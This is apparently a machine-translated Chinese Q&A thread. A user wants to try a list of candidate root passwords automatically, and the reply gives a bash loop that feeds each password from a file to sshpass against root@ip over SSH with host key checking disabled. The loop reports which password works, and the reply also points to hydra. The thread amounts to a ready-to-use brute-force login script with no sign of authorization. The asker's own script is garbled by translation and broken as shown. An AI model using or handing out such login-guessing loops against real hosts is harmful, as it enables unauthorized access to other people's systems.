方案就像我有一个root密码列表。 但我不想继续尝试手动。 所以我写了shell脚本:
for {1..26}
DO
su - >>结果
完成
我的所有密码都在“attempt.txt”文件中。
现在在命令提示符下输入命令:
bash p2.sh< attempt.txt
但它显示错误:“标准必须是tty”
那么有什么方法可以通过一些代码或命令输入这些密码而无需手动输入其中的每一个? 请告诉命令行方法而不是一些高级实用程序软件。我在学习它。 谢谢:))
答案 0 :(得分:2)
您可以通过循环进行ssh连接来测试密码:
#!/bin/bash
sshpass -f<filename> ssh -o 'StrictHostKeyChecking no' -p port user@ip
您应该在系统上安装sshpass
这肯定有效:
sshpass -p'password' ssh -o 'StrictHostKeyChecking no' -p 22 root@ip
试试这个肯定可以帮到你:
for pass in $(cat /path/to/pass)
do
sshpass -p$pass ssh -o 'StrictHostKeyChecking no' -p 22 root@ip
done
所以如果你想得到漂亮的输出:
#!/bin/bash
for pass in $(cat /path/to/pass)
do
echo -e "Reading $pass..."
sshpass -p$pass ssh -o 'StrictHostKeyChecking no' -p 22 root@ip
if [ "$?" -ne "0" ]; then
echo -e "$pass is incorrect\n"
elif [ "$?" -eq "0" ]; then
echo "SSH connection established with pass=$pass"
fi
done
您还可以使用hydra